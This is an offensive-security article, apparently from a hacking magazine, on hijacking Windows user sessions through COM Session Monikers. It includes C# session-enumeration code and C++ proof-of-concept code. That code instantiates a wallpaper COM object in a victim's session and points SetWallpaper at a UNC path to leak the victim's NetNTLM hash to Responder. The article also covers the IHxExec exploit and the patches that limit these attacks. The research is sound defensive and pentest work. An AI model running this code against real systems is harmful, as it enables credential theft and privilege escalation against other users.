Hijacking COM. Abusing COM classes to hijack user sessions

Date: 03/07/2025

As you are likely aware, Windows assigns a unique session to each user logging into the system. And if somebody logs into an already hacked device, you can hijack that person’s session. This article discusses a promising privilege escalation technique: the attacker steals users’ sessions using COM classes.

Long ago, when the sky was bluer, the trees were taller, and the girls were sweeter, I published an article called Insecurity provider. How Windows leaks user passwords. It discussed in detail the user login stage: from turning the workstation on to gaining access to its desktop.

Today I am going to present another attack type: session hijacking. And to implement it, I will use COM!

Logon Sessions

Let’s start with the basics. A Logon Session (or just session) is similar to a browser cookie. The system uses it to determine which user is accessing it.

Each session has a unique number called LUID (Locally Unique IDentifier). In fact, that’s all what is required for Windows to identify a user session.

typedef struct _LUID {
ULONG LowPart;
LONG HighPart;
} LUID, *PLUID;

where:

  • LowPart contains the required numerical value; and 
  • HighPart is usually NULL.

The existing Logon Sessions can be examined using the LsaEnumerateLogonSessions() function. Let’s see how it looks in C#.

using System;
using System.Runtime.InteropServices;
using System.Security.Principal;
class Program
{
[DllImport("Secur32.dll", SetLastError = false)]
private static extern int LsaEnumerateLogonSessions(out ulong LogonSessionCount, out IntPtr LogonSessionList);
[DllImport("Secur32.dll", SetLastError = false)]
private static extern int LsaGetLogonSessionData(IntPtr LogonSession, out IntPtr ppLogonSessionData);
[DllImport("Secur32.dll")]
private static extern uint LsaFreeReturnBuffer(IntPtr buffer);
[StructLayout(LayoutKind.Sequential)]
private struct LSA_UNICODE_STRING
{
public ushort Length;
public ushort MaximumLength;
public IntPtr Buffer;
}
[StructLayout(LayoutKind.Sequential)]
private struct SECURITY_LOGON_SESSION_DATA
{
public uint Size;
public LUID LogonId;
public LSA_UNICODE_STRING UserName;
public LSA_UNICODE_STRING LogonDomain;
public LSA_UNICODE_STRING AuthenticationPackage;
public uint LogonType;
public uint Session;
public IntPtr Sid;
public long LogonTime;
}
[StructLayout(LayoutKind.Sequential)]
private struct LUID
{
public uint LowPart;
public int HighPart;
}
private static string GetString(LSA_UNICODE_STRING unicodeString)
{
return Marshal.PtrToStringUni(unicodeString.Buffer);
}
static void Main()
{
var result = LsaEnumerateLogonSessions(out var count, out var luidPtr);
if (result != 0)
{
Console.WriteLine("LsaEnumerateLogonSessions failed");
return;
}
var iter = luidPtr;
for (ulong i = 0; i < count; i++)
{
result = LsaGetLogonSessionData(iter, out var sessionDataPtr);
if (result == 0)
{
var sessionData = Marshal.PtrToStructure<SECURITY_LOGON_SESSION_DATA>(sessionDataPtr);
var userName = GetString(sessionData.UserName);
var domainName = GetString(sessionData.LogonDomain);
Console.WriteLine($"UserName: {userName}");
Console.WriteLine($"LogonDomain: {domainName}");
Console.WriteLine("---------------------------");
LsaFreeReturnBuffer(sessionDataPtr);
}
iter = IntPtr.Add(iter, Marshal.SizeOf(typeof(LUID)));
}
LsaFreeReturnBuffer(luidPtr);
}
}
Program output
Program output

In the above code, you can see a standard import of required functions with PInvoke and their subsequent calls performed in a certain order.

To get a list of sessions from a device remotely, you can use the NetSessionEnum() and NetrSessionEnum()functions. An example of their usage can be found on GitHub.

Alternatively, the netview.py tool can be used.

List of sessions obtained remotely
List of sessions obtained remotely

Finally, you can use built-in command line tools.

qwinsta
# To get this information remotely, use quser.exe
quser.exe /server:dc01.office.corp
qwinsta output
qwinsta output

There are plenty of other ways to search for target user sessions, including Invoke-UserHunter from PowerView and its numerous analogs in C#, but these tools are beyond the scope of this article. Therefore, let’s finish with reconnaissance and move on to actual hijacking.

www

For more information, see the study by Jared Atkinson, especially parts 12 and 13.

Similar to Elevation Monikers, Windows also uses Session Monikers. To remind: a moniker is a string representation of a COM object. And a session moniker can be used to instantiate a COM class in a specific session.

For example, if you have a COM class, and one of its methods enables you to execute commands, you can hijack a user’s session by instantiating this COM class inside that user’s session using a Session Moniker.

In reality, it’s not that simple since Microsoft has imposed certain restrictions (to be addressed a bit later). But first, let’s examine the Session Moniker operation principle using slides published by James Forshaw.

Initially, there are several objects.

Initial state of the system
Initial state of the system

There is a session assigned to user Alice (your session) and a session assigned to user Bob (to be hijacked). There is also the RPCSS service (Service Control Manager for COM and DCOM servers) responsible for activating COM objects.

So, you request activation of a COM object in Bob’s session.

Requesting activation
Requesting activation

This request is submitted to the RPCSS service because SCM manages the activation of COM objects. The RPCSS service sees that a Session Moniker is being used, locates Bob’s session, and creates a COM object inside it.

Activation
Activation

After the successful activation of the COM object, the client (i.e. yourself in session 1) receives a pointer to the interface of this COM object and can interact with it (e.g. call a method to execute a command).

Pointer to the interface
Pointer to the interface

To use a Session Moniker, all you have to do is prepare a string in the following format:

"Session:[digits]!clsid:[class id]"

where digits is the ID of the session where a COM class should be created identified by the CLSID value in the class id field.

Using this function, you can create COM objects in other people’s sessions.

HRESULT CoCreateInstanceInSession (DWORD session, REFCLSID rclsid , REFIID riid , void ** ppv) {
BIND_OPTS3 bo = {};
WCHAR wszCLSID [50];
WCHAR wszMonikerName [300];
StringFromGUID2 (rclsid, wszCLSID, _countof(wszCLSID));
StringCchPrintf (wszMonikerName , _countof(wszMonikerName ),
L"session:%d!new:%s" , session, wszCLSID);
bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER ;
return CoGetObject (wszMonikerName , &bo, riid, ppv);
}

If anyone could instantiate COM classes in other people’s sessions using Session Moniker, this would mean a severe security hole in Windows. Its exploitation could result in horizontal privilege escalation (vertical privilege escalation occurs in the case of an admin session).

But it’s not all that bad. In many cases, it’s impossible to instantiate a COM class in the target user’s session using Session Moniker. The target COM class must be registered to run under an interactive user. This value is specified in a separate registry key: RunAs. If the value is empty or the running user, system, or service is specified, Session Moniker won’t work. The Checker tool can be used to extract a list of all objects: it generates a report in the CSV or XLSX format. After that, all you have to do is apply a filter to the required field.

Searching for suitable objects
Searching for suitable objects

Then restrictions are imposed in the following priority. They don’t have official names (or I am not aware of them).

  1. SeDebug – if you have SeDebug, you can hijack other people’s sessions (e.g. using IHxExec);
  2. Patch fixing CVE-2024-38100 (FakePotato) – if you don’t have local admin rights, you won’t be able to instantiate interactive (the RunAs field is set to The Interactive User) COM objects inside the explorer.exe process. In fact, the developers simply fixed Access Permissions in this patch. If you don’t have such permissions for the process, you won’t be able to access COM objects running inside it. If Access Permissions for a specific AppID aren’t defined, then the default ones are used. You can use the OleViewDotNet tool to view your permissions.

    List of processes with running COM objects
    List of processes with running COM objects
    List of objects running inside a process
    List of objects running inside a process
    Default permissions for a process
    Default permissions for a process
  3. Patch fixing the COM Session Moniker EOP exploit. The capabilities of Session Monikers have been known for a long time, but their exploitation isn’t very popular. As soon as security experts started researching them, an exploit was created almost immediately: it allows you to start a certain object inside someone else’s session, which results in privilege escalation. The fix adds an integrity level check prior to accessing the object. If someone tries to access an object in someone else’s session from a process with a medium integrity level, the access is blocked.

Starting a process in someone else’s session

First, let’s test the IHxExec exploit. It enables you to run an executable file inside somebody else’s session. Its implementation in C# and PowerShell is also available on GitHub.

Both tools abuse Session Monikers to execute code. If you have local admin rights (or the SeDebug privilege), then you can execute code in other users’ sessions this way. On older systems that haven’t been updated since 2017, this trick would work even on behalf of a low-privileged user. A detailed analysis of the exploit can be found on Medium.

Technically, two undocumented COM interfaces are exploited: IStandardActivator and ISpecialSystemProperties; under normal conditions, these interfaces are accessed when Session Monikers are instantiated. The first one is required to activate objects; while the second one includes an interesting method called SetSessionId() that can be used to specify the target session where a COM object has to be started.

Exploit in action
Exploit in action

As you can see, the exploit successfully instantiates the required COM object, and you can execute an arbitrary file inside someone else’s session.

Password hash leak as a result of changing desktop wallpaper

Another exploit was released quite recently: it also abuses Session Monikers, but now the instantiated COM object makes it possible not to start a process, but to change the wallpaper. One might ask: Where is the vulnerability? But if you review the article Gone to the Dogs by Elad Shamir, you’ll see that the wallpaper change function can be used to extract the NetNTLM hash from a computer. So, I thought: what happens if an attacker instantiates an interactive COM object inside someone else’s session, then calls the wallpaper change method, and specifies the UNC Path to gain the NetNTLM hash?

This idea was nagging me for a while, but then a hint appeared on decoder.cloud, and I managed to find a suitable COM object.

Discovered object
Discovered object

The object features the IDesktopWallpaper interface and the SetWallpaper() method whose logic seemed to be suitable for my purposes.

HRESULT SetWallpaper(
[in] LPCWSTR monitorID,
[in] LPCWSTR wallpaper
);

The first argument is used to pass the ID of the monitor where a new wallpaper should be set; while the second one, to pass the path to this wallpaper. The point is: if you specify a UNC Path in the second argument, this would cause an NetNTLM hash leak. But where to get the monitor ID?

According to MSDN, the GetMonitorDevicePathAt() method can be used for this purpose. To call it, the monitorIndex parameter is required, and it can be obtained using GetMonitorDevicePathCount().

The resulting kill chain looks as follows:

  • GetMonitorDevicePathCount([out] int a);
  • GetMonitorDevicePathAt([in] a, [out] index); and 
  • SetWallpaper([in] index, [in] UNCPath).

To leak the NetNTLM hash of the target user, you have to instantiate the COM class for wallpaper management inside that user’s session. This can be done using the CoCreateInstanceInSession() function.

HRESULT CoCreateInstanceInSession(DWORD session, REFCLSID rclsid, REFIID riid, void** ppv) {
BIND_OPTS3 bo = {};
WCHAR wszCLSID[50];
WCHAR wszMonikerName[300];
StringFromGUID2(rclsid, wszCLSID, _countof(wszCLSID));
StringCchPrintf(wszMonikerName, _countof(wszMonikerName),
L"session:%d!new:%s", session, wszCLSID);
bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
return CoGetObject(wszMonikerName, &bo, riid, ppv);
}
...
IDesktopWallpaper* pDesktopWallpaper = nullptr;
hr = CoCreateInstanceInSession(session, clsidShellWindows, iidIShellWindows, (void**)&pDesktopWallpaper);
if (FAILED(hr)) {
std::wcerr << L"CoCreateInstanceInSession failed with error: " << hr << std::endl;
CoUninitialize();
return 1;
}

After the successful instantiation, you can access methods of this COM class.

UINT monitorCount;
hr = pDesktopWallpaper->GetMonitorDevicePathCount(&monitorCount);
if (FAILED(hr)) {
std::wcerr << L"GetMonitorDevicePathCount failed with error: " << hr << std::endl;
pDesktopWallpaper->Release();
CoUninitialize();
return 1;
}
for (UINT i = 0; i < monitorCount; i++) {
LPWSTR monitorId;
hr = pDesktopWallpaper->GetMonitorDevicePathAt(i, &monitorId);
if (FAILED(hr)) {
std::wcerr << L"GetMonitorDevicePathAt failed with error: " << hr << std::endl;
continue;
}
hr = pDesktopWallpaper->SetWallpaper(monitorId, imagePath);
std::wcout << L"[+] Check Responder" << std::endl;
CoTaskMemFree(monitorId);
}
Successful hash leak
Successful hash leak

After leaking the hash, you can take it a step further and deliver a relay attack. Such attacks were discussed in detail in the series of publications “Your guide to NTLM relay” (Part 1 and Part 2).

Conclusions

One again, undocumented Windows features enable hackers to deliver efficient and elegant attacks. The hardest part about it is to crystallize an abstract concept into a fully-functional exploit.

Good luck in your pentesting endeavors!

Related posts:
2023.01.22 — Top 5 Ways to Use a VPN for Enhanced Online Privacy and Security

This is an external third-party advertising publication. In this period when technology is at its highest level, the importance of privacy and security has grown like never…

Full article →
2022.02.15 — EVE-NG: Building a cyberpolygon for hacking experiments

Virtualization tools are required in many situations: testing of security utilities, personnel training in attack scenarios or network infrastructure protection, etc. Some admins reinvent the wheel by…

Full article →
2023.02.13 — Ethernet Abyss. Network pentesting at the data link layer

When you attack a network at the data link layer, you can 'leapfrog' over all protection mechanisms set at higher levels. This article will walk…

Full article →
2022.06.02 — Climb the heap! Exploiting heap allocation problems

Some vulnerabilities originate from errors in the management of memory allocated on a heap. Exploitation of such weak spots is more complicated compared to 'regular' stack overflow; so,…

Full article →
2023.03.26 — Attacks on the DHCP protocol: DHCP starvation, DHCP spoofing, and protection against these techniques

Chances are high that you had dealt with DHCP when configuring a router. But are you aware of risks arising if this protocol is misconfigured on a…

Full article →
2023.04.20 — Sad Guard. Identifying and exploiting vulnerability in AdGuard driver for Windows

Last year, I discovered a binary bug in the AdGuard driver. Its ID in the National Vulnerability Database is CVE-2022-45770. I was disassembling the ad blocker and found…

Full article →
2022.01.11 — Persistence cheatsheet. How to establish persistence on the target host and detect a compromise of your own system

Once you have got a shell on the target host, the first thing you have to do is make your presence in the system 'persistent'. In many real-life situations,…

Full article →
2022.02.15 — Reverse shell of 237 bytes. How to reduce the executable file using Linux hacks

Once I was asked: is it possible to write a reverse shell some 200 bytes in size? This shell should perform the following functions: change its name…

Full article →
2023.04.04 — Serpent pyramid. Run malware from the EDR blind spots!

In this article, I'll show how to modify a standalone Python interpreter so that you can load malicious dependencies directly into memory using the Pyramid…

Full article →
2023.03.03 — Infiltration and exfiltration. Data transmission techniques used in pentesting

Imagine a situation: you managed to penetrate the network perimeter and gained access to a server. This server is part of the company's internal network, and, in theory, you could…

Full article →